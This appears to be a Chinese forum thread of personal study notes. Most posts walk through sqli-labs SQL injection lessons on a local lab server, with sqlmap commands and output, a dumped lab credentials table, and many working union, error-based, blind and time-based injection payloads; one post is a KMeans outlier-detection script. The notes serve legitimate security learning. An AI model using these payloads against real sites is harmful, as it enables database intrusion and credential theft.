安全矩阵

 找回密码
 立即注册
搜索
查看: 3404|回复: 9

郭力学习日记

[复制链接]

1

主题

10

帖子

39

积分

新手上路

Rank: 1

积分
39
发表于 2020-10-16 20:51:50 | 显示全部楼层 |阅读模式
10.16.2020
必须熟悉的书:《python数据分析与挖掘实战》
最近在看的书:《web安全攻防》
etc.
回复

使用道具 举报

1

主题

10

帖子

39

积分

新手上路

Rank: 1

积分
39
 楼主| 发表于 2020-10-16 22:12:15 | 显示全部楼层
web安全攻防
首先按书上步骤搭建好了漏洞环境,WampSever这个软件在windows下将Apache+PHP+Mysql集成环境,操作方便简单。
接下来是SQLMap入门,
1.判断是否存在注入
目标注入点:http://127.0.0.1/sql1/Less-1/?id=1
输入:python27\sqlmap>python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1"



结果:注入点类型、服务器类型、Apache、PHP版本等
2.判断文本中的请求是否存在注入
从文件中加载HTTP请求,SQLMap可以从一个文本文件中获得HTTP请求,
   1.txt
GET /sql1/Less-1/?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
输入:python2 sqlmap.py -r C:\Users\13749\Anaconda3\envs\python27\sqlmap\1.txt
-r一般在存在cookie注入时使用
3.查询当前用户下的所有数据库
在确定网站存在注入后,用于查询当前用户下的所有数据库
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" -dbs

继续注入时,--dbs缩写成-D xxx(数据库名),在xxx(数据库)中继续查询其他数据
4.获取数据库中的表名
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" -D security --tables

若不加入-D参数指定某一个具体的数据库,SQLMap会列出数据库中所有库的表
5.获取表中的字段名
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" -D security -T users --columns

Security数据库中的users表一共三个字段
6.获取字段内容
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" -D security -T users -C username,password --dump

7.获取数据库的所有用户
在当前用户有权限读取包含所有用户的表的权限时,使用该命令可以列出所有管理用户
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --users

8.获取数据库用户的密码
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --passwords

(没有设置密码)
9.获取当前网站数据库的名称
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --current-db

10.获取当前网站数据库的用户名称
输入:python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --current-user

没有整理完,明天继续

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

1

主题

10

帖子

39

积分

新手上路

Rank: 1

积分
39
 楼主| 发表于 2020-10-18 18:56:08 | 显示全部楼层
python数据分析与挖掘实战
离群点检测

离群点成因:数据来源于不同的类,自然变异,数据测量和收集误差
离群点类型:
1、全局离群点和局部离群点:从整体来看某些对象没有离群特征,但是从局部来看,却显示了一定的离群性。
2、数值型离群点和分类型离群点
3、一维离群点和多维离群点
离群点检测方法:
1、基于统计:构建一个分布模型,并计算对象符合该模型的概率,把具有低概率的对象视为离群点,前提是必须知道数据集服从什么分布
2、基于近邻度:在数据对象之间定义邻近性度量,把远离大部分点的对象视为离群点
3、基于密度:数据集可能存在不同密度区域,离群点是在低密度区域中的对象,一个对象的离群点得分是该对象周围密度的逆
4、基于聚类:丢弃远离其他簇的小簇;或者先聚类所有对象,然后评估对象属于簇的程度。
基于模型的离群点检测方法:通过估计概率分布的参数来建立一个数据模型。如果一个数据对象不能很好地同该模型拟合,即如果它很可能不服从该分布,则是一个离群点
1、一元正态分布中的离群点检测:N(0,1)的数据对象出现在该分布的两边尾部的机会很小,因此可以用它作为检测数据对象是否是离群点的基础
2、混合模型的离群点检测:混合模型是一种特殊的统计模型,它使用若干统计分布对数据建模,每个分布对应一个簇,而每个分布的参数提供对应簇的描述,通常用中心和发散描述
3、基于聚类的离群点检测方法:
(1)丢弃远离其他簇的小簇:该过程可以简化为丢弃小于某个阈值的所有簇
(2)基于原型的聚类:首先聚类所有对象,然后评估对象属于簇的程度。可以用对象到他的簇中心的距离来度量属于簇的程度。
基于原型的聚类主要有两种方法评估对象属于簇的程度:一是度量对象到簇原型的距离,并用它作为该对象的离群点得分;二是考虑到簇具有不同的密度,可以度量簇到原型的相对距离,相对距离是点到质心的距离与簇中所有点到质心的距离的中位数之比
基于原型的聚类代码:
  1. import numpy as np
  2. import pandas as pd
  3. #参数初始化
  4. inputfile='D:\source\chapter5\demo\data\consumption_data.xls' #销量及其他属性数据
  5. k=3 #聚类的类别
  6. threshold=2 #离散点阈值
  7. iteration=500 #聚类最大循环次数
  8. data=pd.read_excel(inputfile,index_col='Id') #读取数据
  9. data_zs=1.0*(data-data.mean())/data.std() #数据标准化

  10. from sklearn.cluster import KMeans
  11. model=KMeans(n_clusters=k,n_jobs=4,max_iter=iteration)
  12. #分为k类,并发数4
  13. model.fit(data_zs) #开始聚类
  14. #标准化数据及其类别
  15. r=pd.concat([data_zs,pd.Series(model.labels_,index=data.index)],axis=1)#每个样本对应的类别
  16. r.columns=list(data.columns)+['聚类类别']#重命名表头

  17. norm=[]
  18. for i in range(k):
  19.     norm_tmp=r[['R','F','M']][r['聚类类别']==i]-model.cluster_centers_[i]
  20.     norm_tmp=norm_tmp.apply(np.linalg.norm,axis=1) #求出绝对距离
  21.     norm.append(norm_tmp/norm_tmp.median()) #求相对距离并添加
  22.    
  23. norm=pd.concat(norm) #合并
  24.    
  25. import matplotlib.pyplot as plt
  26. plt.rcParams['font.sans-serif']=['SimHei'] #用来正常显示中文标签
  27. plt.rcParams['axes.unicode_minus']=False #用来正常显示负号
  28. norm[norm<=threshold].plot(style='go') #正常点
  29.    
  30. discrete_points=norm[norm>threshold] #离群点
  31. discrete_points.plot(style='ro')
  32.    
  33. for i in range(len(discrete_points)): #离群点做标记
  34.     id=discrete_points.index[i]
  35.     n=discrete_points.iloc[i]
  36.     plt.annotate('(%s,%0.2f)'%(id,n),xy=(id,n),xytext=(id,n))
  37.    
  38. plt.xlabel('编号')
  39. plt.ylabel('相对距离')
  40. plt.show()
复制代码

需要再记一遍的:
concat()函数
concat方法相当于数据库中的全连接(UNION ALL),可以指定按某个轴进行连接,也可以指定连接的方式join(outer,inner 只有这两种)。
与数据库不同的是concat不会去重,要达到去重的效果可以使用drop_duplicates方法
https://blog.csdn.net/qq_31798135/article/details/102652821
回复

使用道具 举报

1

主题

10

帖子

39

积分

新手上路

Rank: 1

积分
39
 楼主| 发表于 2020-10-18 21:14:45 | 显示全部楼层
web安全攻防
sql注入
(配套暑假老师的视频)
sqli-labs第一关


id='$id',封闭前一个单引号,在后面加语句,判断出sql注入


http://127.0.0.1/sql1/Less-1/?id=1'and 1=1
http://127.0.0.1/sql1/Less-1/?id=1'and 1&1


http://127.0.0.1/sql1/Less-1/?id=1'||'1'--+


http://127.0.0.1/sql1/Less-1/?id=1'|'2'--+

http://127.0.0.1/sql1/Less-1/?id=1'|'1'--+


http://127.0.0.1/sql1/Less-1/?id=1' and 1=2--+



http://127.0.0.1/sql1/Less-1/?id=1' and 5>34--+

http://127.0.0.1/sql1/Less-1/?id=1' || 5>34--+
http://127.0.0.1/sql1/Less-1/?id=1' || (5>34)--+

http://127.0.0.1/sql1/Less-1/?id=1' order by 1,2,3,4,5,6--+
判断出只有4列
http://127.0.0.1/sql1/Less-1/?id=1' order by 1,2,3--+

http://127.0.0.1/sql1/Less-1/?id=1' and 1=2 union select 1,2,3--+

http://127.0.0.1/sql1/Less-1/?id=1' and 1=2 union select 1,version(),3--+

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,username,password from users where id=2--+

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,database(),3--+

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()--+

http://127.0.0.1/sql1/Less-1/?id=-1' union select 1,2,concat((select user()),(select database()))--+

查询所有数据库名
http://127.0.0.1/sql1/Less-1/
?id=1' and 1=2 union select 1,(select group_concat(schema_name)from information_schema.schemata),3--+

查询security内的所有表名
http://127.0.0.1/sql1/Less-1/
?id=1' and 1=2 union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='security'),3--+

使用下面的语句爆破出列名
http://127.0.0.1/sql1/Less-1/
?id=1' and 1=2 union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='users')--+

爆用户名和密码
http://127.0.0.1/sql1/Less-1/
?id=1' and 1=2 union select 1,(select group_concat(password)from security.users), (select group_concat(username)from security.users)--+



















本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

1

主题

10

帖子

39

积分

新手上路

Rank: 1

积分
39
 楼主| 发表于 2020-10-19 20:47:37 | 显示全部楼层
web安全攻防
sql注入
lesson5
http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select user()),0x3a,floor(rand()*2)) as a from information_schema.tables group by a --+

用户名为root


http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select database()),0x3a,floor(rand()*2)) as a from information_schema.tables group by a --+

http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

改变limit参数查询表名,从0开始

查询到users()


下一步爆破字段名
http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select column_name  from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

语句改为limit 0,1,查询出第一列为idlimit 2,1,查询出第三列为password


接下来爆用户名
http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select username  from users limit 0,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

同理,爆出password
http://127.0.0.1/sql1/Less-5/
?id=1' union select 1,count(*),concat(0x3a,(select password  from users limit 1,1),0x3a,floor(rand()*2)) as a from information_schema.tables group by a--+

补充:
extractvalue()
函数解释:
  extractvalue():从目标XML中返回包含所查询值的字符串。
  EXTRACTVALUE (XML_document, XPath_string);
  第一个参数:XML_documentString格式,为XML文档对象的名称,文中为Doc
  第二个参数:XPath_string (Xpath格式的字符串)
extracvalue的第二个参数要求是xpath格式字符串,而输入的并不是,所以报错。
http://127.0.0.1/sql1/Less-5/
?id=1' and extractvalue(1,concat(0x23,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),0x23))--+

截出来的图片都大于1000k懒得传了
回复

使用道具 举报

1

主题

10

帖子

39

积分

新手上路

Rank: 1

积分
39
 楼主| 发表于 2020-10-26 08:56:02 | 显示全部楼层
web安全攻防
sql注入
Lesson8 基于布尔盲注
函数学习:
1.LENGTH()函数用于获取对应字段的字符长度
select length(database())
返回:8
2.LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHAR或BINARY STRING。 
select left(database(),2)
结果:se
select left(database(),1) >'t'
结果:0
3.SUBSTR函数是用来截取数据库某一列字段中的一部分。
SUBSTR(str,pos,len);
就是从pos开始的位置,截取len个字符(空白也算字符)。
select substr('abcd',1,2)
ab
4.Ascii(‘a’)
返回字符表达式最左端字符的ASCII 码值。在ASCII()函数中,纯数字的字符串可不用‘’括起来,但含其它字符的字符串必须用‘’括起来使用
select substr(database(),1,1)
返回:s
select ascii(substr(database(),1,1))
返回:115
5.Char(97)
CHAR()将ASCII码转换为字符。如果没有输入0 ~ 255 之间ASCII 码值,CHAR()返回NULL
6.使用 REGEXP 关键字指定正则表达式的字符匹配模式
^字符
匹配字符串的开始位置,如“^a”表示以字母a开头的字符串。
select 'xxxyyy' regexp '^xx
返回:1
$字符
匹配字符串的结束部分。
select 'abcd' regexp 'cd$'
返回:1
*字符
星号匹配0个或多个字符,在它之前必须有内容
匹配前面元字符0次或多次,/ba*/将匹配b,ba,baa,baaa
. 字符
匹配任何字符(包括回车和新行)。
SELECT  'fofo'  REGEXP  '^f.*$'
返回:1
select '1' regexp '^[a-z]'
0
select 's' regexp '^[a-z]'
1
Select user() regexp '^[a-z]'
1


http://127.0.0.1/sql1/Less-8/?id=1'
无显示
http://127.0.0.1/sql1/Less-8/?id=1' and 1=1--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and 1=2--+
无显示
判断出存在注入点
下一步获得数据库名
http://127.0.0.1/sql1/Less-8/?id=1' and (length(database()))<10--+
http://127.0.0.1/sql1/Less-8/?id=1' and (length(database()))<9--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and (length(database()))<8--+
无显示
故数据库名长度为8
数据库名:
判断数据库名的首字母
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr(database(),1,1))<100--+
无显示
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr(database(),1,1))>100--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr(database(),1,1))>120--+
无显示
在100-120之间
多次缩小范围
ascii(substr(database(),1,1))=115 为s
获取表名
判断数据库中的第一张表表名的首字母
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>110--+
无显示
故在110-120
最后判断出=101
Select char(101)
e
继续判断第二张表表名
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>100--+
You are in ....
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>120--+
无显示
在100-120,最终得出=114对应字母r
判断users表中的第一列列名
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>100--+
You are in...
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>110--+
无显示
=105  ->  i
猜数据,users表中password列第一个数据首字母
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select password from users  limit 0,1),1,1))>60--+
http://127.0.0.1/sql1/Less-8/?id=1' and ascii(substr((select password from users  limit 0,1),1,1))<80--+
You are in...
=68 D
回复

使用道具 举报

1

主题

10

帖子

39

积分

新手上路

Rank: 1

积分
39
 楼主| 发表于 2020-10-29 21:21:07 | 显示全部楼层
web安全攻防
sql注入
Lesson9
不论怎么输入返回的页面信息都是没有错误的,故通过页面的延迟时间判断是否注入成功。但需要注意的是,时间注入返回的页面信息一样是没有回显错误的页面,我们只是根据页面延迟时间来进行猜测判断。

Sleep()
借助于sleep(N)这个函数我们可以捕获到执行迅速不易被查看到的语句以确定我们的程序是否确实在服务器端发起了该语句。
在语句中添加一个sleep(N)函数,强制让语句停留N秒钟,来查看后台线程。存在指定记录时查询会停留指定秒数,若不存在,执行时间仍为0
利用此函数可以实现Time-based blind SQL injection(基于时间延迟注入)
Select sleep(10)
if函数
Select if(5>4,1,3)
http://127.0.0.1/sql1/Less-9/?id=1' and if(3<5,sleep(10),0)--+

http://127.0.0.1/sql1/Less-9/?id=1' and if(3>5,sleep(10),0)--+


file:///C:/Users/13749/AppData/Local/Temp/ksohtml15752/wps2.jpg
判断出存在sql注入
猜数据库名——>长度
http://127.0.0.1/sql1/Less-9/?id=1' and if(length(database())<10,0,sleep(5))--+
时间线:19ms;故长度小于10
http://127.0.0.1/sql1/Less-9/?id=1' and if(length(database())<7,0,sleep(5))--+
时间线:5.02s
=8时等待时间为19ms,故数据库名长度为8
数据库名首字母
http://127.0.0.1/sql1/Less-9/?id=1' and if(ascii(substr(database(),1,1))>120,0,sleep(5))--+
时间:5.02s
http://127.0.0.1/sql1/Less-9/?id=1' and if(ascii(substr(database(),1,1))<100,0,sleep(5))--+
时间:28ms
首字母ascii值在100-120之间
http://127.0.0.1/sql1/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,0,sleep(5))--+
Ascii值为115,为s
猜表名 首字母
http://127.0.0.1/sql1/Less-9/
?id=1' and if( ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>120,0,sleep(5))--+
时间:5.02s
http://127.0.0.1/sql1/Less-9/
?id=1' and if( ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100,0,sleep(5))--+
时间:32ms
=101 对应e
猜列名 列名首字母
http://127.0.0.1/sql1/Less-9/
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))>110,0,sleep(5))--+
时间:5.02s
http://127.0.0.1/sql1/Less-9/
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))<120,0,sleep(5))--+
时间:36ms
http://127.0.0.1/sql1/Less-9/
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=105,0,sleep(5))--+
时间:31ms
首字母为i
猜数据
http://127.0.0.1/sql1/Less-9/
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))<50,0,sleep(5))--+
时间:5.03s
http://127.0.0.1/sql1/Less-9/
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))<100,0,sleep(5))--+
时间:29ms
http://127.0.0.1/sql1/Less-9/
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))=68,0,sleep(5))--+
68 -->D


Lesson11
输入 usename:admin’ password:123

出现语法错误,判断出存在sql注入
输入 usename:admin’--+ password:123
同样出现错误
输入 usename:admin’--  password:123
file:///C:/Users/13749/AppData/Local/Temp/ksohtml15752/wps4.jpg


“-- ”注释掉了后面的语句,成功进入后台
输入 usename:admin’# password:123


file:///C:/Users/13749/AppData/Local/Temp/ksohtml15752/wps5.jpg
burn suite上进行sql注入
POST /sql1/Less-11/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
DNT: 1
Referer: http://127.0.0.1/sql1/Less-11/
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uname=admin&passwd=123&submit=Submit
直接修改unamepasswd
例:uname=admin'#&passwd=123&submit=Submit
返回:Your Login name:admin
Your Password:admin
判断列数:
uname=admin' order by 4#&passwd=123&submit=Submit
#将后面的语句注释掉了)
返回:Unknown column ‘4’ in ‘order clause’
uname=admin' order by 2#&passwd=123&submit=Submit
返回:Your Login name:admin
Your Password:admin
Order by后面填列名或者一个数字,即按该列进行排序,此处说明只有两列。
判断数据库名
uname=admin' and 1=2 union select 1,database()#&passwd=123&submit=Submit
返回:Your Login name:1
      Your Password:security
uname=admin'and 1=2 union select 1,concat(0x23,(select username from users limit 1,1),0x23)#&passwd=123&submit=Submit
返回:Your Login name:1
      Your Password:#Angelina#
Lesson 20
基于cookie的注入


file:///C:/Users/13749/AppData/Local/Temp/ksohtml15752/wps6.jpg
Cookie:uname=admin’#
返回:Your Login name:admin
Your Password:admin
判断出存在sql注入
Cookie:uname=admin'and 1=1#
返回:Your Login name:admin
Your Password:admin
Cookie:uname=admin'and 1=2#
返回:BUG OFF
Cookie:uname=admin'and 1=2 union select 1,2,3#
返回:Your Login name:2
Your Password:3
爆出显示位
获取数据库名:
Cookie:uname=admin'and 1=2 union select 1,database(),3#
返回:Your Login name:security
Your Password:3
Cookie:uname=admin'and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
返回:Issue with your mysql:XPATH syntax error:’~security~’
Cookie:uname=admin'and (extractvalue(1,concat(0x7e,(select database()),0x7e))) #
返回:Issue with your mysql:XPATH syntax error:’~security~’
用户名:
Cookie:uname=admin'and (extractvalue(1,concat(0x7e,(select user()),0x7e))) #
返回:Issue with your mysql:XPATH syntax error:’~root@localhost~’
Cookie:uname=admin'and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
返回:Issue with your mysql:XPATH syntax error:’~root@localhost~’
获取列中的信息:
Cookie:uname=admin'and updatexml(1,concat(0x23,(select username from users limit 1,1),0x23),1)#
返回:Issue with your mysql:XPATH syntax error:’~#Angelina#~’






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

1

主题

10

帖子

39

积分

新手上路

Rank: 1

积分
39
 楼主| 发表于 2020-10-30 20:51:28 | 显示全部楼层
web安全
sql注入
Sql注入
杂项技巧
1.爆出mysql的路径
Select @@datadir
输出:c:\wamp\bin\mysql5.6.17\data\
2.服务器版本       
Select @@version_compile_os
输出:win32
3.数据库名称
select database()
security
4.用户名
Select (select user())
root@localhost
5.版本
Select version()
5.6.17
http://127.0.0.1/sql1/Less-1/?id=1'and 1=2 union select 1,@@datadir,3--+
返回:Your Login name:c\wamp\bin\mysql\mysql5.6.17\data\
      Your Password:3
http://127.0.0.1/sql1/Less-1/?id=1'and 1=2 union select 1,version(),3--+
返回:Your Login name:5.6.17      
Your Password:3
http://127.0.0.1/sql1/Less-1/?id=1'and 1=2 union select 1,version(),database()--+
返回:Your Login name:5.6.17      
Your Password:security
http://127.0.0.1/sql1/Less-1/?id=1'and 1=2 union select 1,version(),user()--+
返回:Your Login name:5.6.17      
Your Passwordlocalhost
编译版本
http://127.0.0.1/sql1/Less-1/?id=1'and 1=2 union select 1,version(),@@version_compile_os--+
返回:Your Login name:5.6.17      
Your Password:win32


Lesson7
http://127.0.0.1/sql1/Less-7/?id=1'))order by 4--+
返回:You have an error in your SQL syntax
http://127.0.0.1/sql1/Less-7/?id=1'))order by 3--+
返回:You are in...Use outfile.......
判断存在sql注入,但返回的结果只有truefalse,所以进行盲注。
http://127.0.0.1/sql1/Less-7/?id=1'))and (select count(*)from mysql.user)>0--+
返回:You are in...Use outfile.......
http://127.0.0.1/sql1/Less-7/?id=1'))and (select count(*)from mysql.user)<0--+
返回:You have an error in your SQL syntax
Lesson23
源代码过滤了#--
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$id中的“#”和“--”都被替换为空字符串
http://127.0.0.1/sql1/Less-23/?id=1'#
http://127.0.0.1/sql1/Less-23/?id=1'--+
都报错
http://127.0.0.1/sql1/Less-23/?id=1'union select 1,2,3'
返回:Your Login nameumb     
Your Passwordumb
源代码:$sql=SELECT *FROM users WHERE id=’$id’ LIMIT 0,1;
$sql=”SELECT *FROM users WHERE id=’1'union select 1,2,3'’ LIMIT 0,1”;
利用末尾的单引号封闭
http://127.0.0.1/sql1/Less-23/?id=1'and 1=2 union select 1,2,3 and''='
返回:Your Login name:2   
Your Password:1
列举出所有用户名
http://127.0.0.1/sql1/Less-23/?id=1'and 1=2 union select 1,(select group_concat(username,password)from users),3 and''='

http://127.0.0.1/sql1/Less-23/?id=1'and 1=2 union select 1,(select group_concat(concat_ws("-",username,password))from users),3 and

复习了下之前sqlmap的内容
判断是否存在注入点
python2 sqlmap.py -u"http://127.0.0.1/sql1/Less-1/?id=1"
获取数据库名:
python2 sqlmap.py -u"http://127.0.0.1/sql1/Less-1/?id=1" -dbs
available databases [9]:
  • challenges
  • dvwa
  • information_schema
  • mysql
  • performance_schema
  • security
  • sql1
  • test
  • xssplatform
    获取数据库security中的表名
    python2 sqlmap.py -u"http://127.0.0.1/sql1/Less-1/?id=1" -D security -tables
    Database: security
    [4 tables]
    +----------+
    | emails   |
    | referers |
    | uagents  |
    | users    |
    +----------+
    获取users表的列名
    sqlmap>python2 sqlmap.py -u"http://127.0.0.1/sql1/Less-1/?id=1"-D security -T users --columns
    Database: security
    Table: users
    [3 columns]
    +----------+-------------+
    | Column   | Type        |
    +----------+-------------+
    | id       | int(3)      |
    | password | varchar(20) |
    | username | varchar(20) |
    +----------+-------------+
    获取数据内容
    python2 sqlmap.py -u"http://127.0.0.1/sql1/Less-1/?id=1"-D security -T users -C username,password --dump
    Database: security
    Table: users
    [13 entries]
    +----------+------------+
    | username | password   |
    +----------+------------+
    | Dumb     | Dumb       |
    | Angelina | I-kill-you |
    | Dummy    | p@ssword   |
    | secure   | crappy     |
    | stupid   | stupidity  |
    | superman | genious    |
    | batman   | mob!le     |
    | admin    | admin      |
    | admin1   | admin1     |
    | admin2   | admin2     |
    | admin3   | admin3     |
    | dhakkan  | dumbo      |
    | admin4   | admin4     |
    +----------+------------+
    获取当前数据库名:
    python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --current-db
    [16:42:56] [INFO] fetching current database
    current database: 'security'
    获取当前用户名:
    python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --current-user
    [16:44:09] [INFO] fetching current user
    current user: 'root@localhost'
    获取所有用户:
    python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --users
    [16:46:11] [INFO] fetching database users
    database management system users [4]:
  • ''@'localhost'
  • 'root'@'127.0.0.1'
  • 'root'@'::1'
  • 'root'@'localhost'
    获取密码:
    python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --password
    back-end DBMS: MySQL >= 5.5
    [16:47:08] [INFO] fetching database users password hashes
    [16:47:08] [INFO] resumed: 'root',''
    [16:47:08] [INFO] resumed: 'root',''
    [16:47:08] [INFO] resumed: 'root',''
    [16:47:08] [INFO] resumed: '',' '
    获取数据库所有表
    python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --dump-all
    查看权限
    python2 sqlmap.py -u "http://127.0.0.1/sql1/Less-1/?id=1" --privileges
    database management system users privileges:
  • ''@'localhost' [1]:
        privilege: USAGE
  • 'root'@'127.0.0.1' (administrator) [28]:
        privilege: ALTER
        privilege: ALTER ROUTINE
        privilege: CREATE
        privilege: CREATE ROUTINE
        privilege: CREATE TABLESPACE
        privilege: CREATE TEMPORARY TABLES
        privilege: CREATE USER
        privilege: CREATE VIEW
        privilege: DELETE
        privilege: DROP
        privilege: EVENT
        privilege: EXECUTE
        privilege: FILE
        privilege: INDEX
        privilege: INSERT
        privilege: LOCK TABLES
        privilege: PROCESS
        privilege: REFERENCES
        privilege: RELOAD
        privilege: REPLICATION CLIENT
        privilege: REPLICATION SLAVE
        privilege: SELECT
        privilege: SHOW DATABASES
        privilege: SHOW VIEW
        privilege: SHUTDOWN
        privilege: SUPER
        privilege: TRIGGER
        privilege: UPDATE
  • 'root'@'::1' (administrator) [28]:
        privilege: ALTER
        privilege: ALTER ROUTINE
        privilege: CREATE
        privilege: CREATE ROUTINE
        privilege: CREATE TABLESPACE
        privilege: CREATE TEMPORARY TABLES
        privilege: CREATE USER
        privilege: CREATE VIEW
        privilege: DELETE
        privilege: DROP
        privilege: EVENT
        privilege: EXECUTE
        privilege: FILE
        privilege: INDEX
        privilege: INSERT
        privilege: LOCK TABLES
        privilege: PROCESS
        privilege: REFERENCES
        privilege: RELOAD
        privilege: REPLICATION CLIENT
        privilege: REPLICATION SLAVE
        privilege: SELECT
        privilege: SHOW DATABASES
        privilege: SHOW VIEW
        privilege: SHUTDOWN
        privilege: SUPER
        privilege: TRIGGER
        privilege: UPDATE
  • 'root'@'localhost' (administrator) [28]:
        privilege: ALTER
        privilege: ALTER ROUTINE
        privilege: CREATE
        privilege: CREATE ROUTINE
        privilege: CREATE TABLESPACE
        privilege: CREATE TEMPORARY TABLES
        privilege: CREATE USER
        privilege: CREATE VIEW
        privilege: DELETE
        privilege: DROP
        privilege: EVENT
        privilege: EXECUTE
        privilege: FILE
        privilege: INDEX
        privilege: INSERT
        privilege: LOCK TABLES
        privilege: PROCESS
        privilege: REFERENCES
        privilege: RELOAD
        privilege: REPLICATION CLIENT
        privilege: REPLICATION SLAVE
        privilege: SELECT
        privilege: SHOW DATABASES
        privilege: SHOW VIEW
        privilege: SHUTDOWN
        privilege: SUPER
        privilege: TRIGGER
    privilege: UPDATE
    用burpsuite抓包,将拦截到的数据包复制到一个txt中,命名为sqltxt
    python2 sqlmap.py -r sqltxt.txt
    python2 sqlmap.py -r sqltxt.txt --dbs
    python2 sqlmap.py -r sqltxt.txt -D security --tables
    所得结果同上




  • 本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    1

    主题

    10

    帖子

    39

    积分

    新手上路

    Rank: 1

    积分
    39
     楼主| 发表于 2020-11-9 15:00:32 | 显示全部楼层
    本帖最后由 vvkwokll 于 2020-11-9 15:04 编辑

    XSS


    DVWA漏洞靶场练习

    参考:https://blog.csdn.net/qq_43431158/article/details/89516848
    XSS跨站脚本攻击:跨站脚本攻击是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者访问者进行病毒侵害的一种攻击方式。为了与层叠样式表的缩写CSS区分开,跨站脚本攻击通常简写为XSS
    1. 反射型XSS(非持久型XSS
    l 攻击方式往往具有一次性;
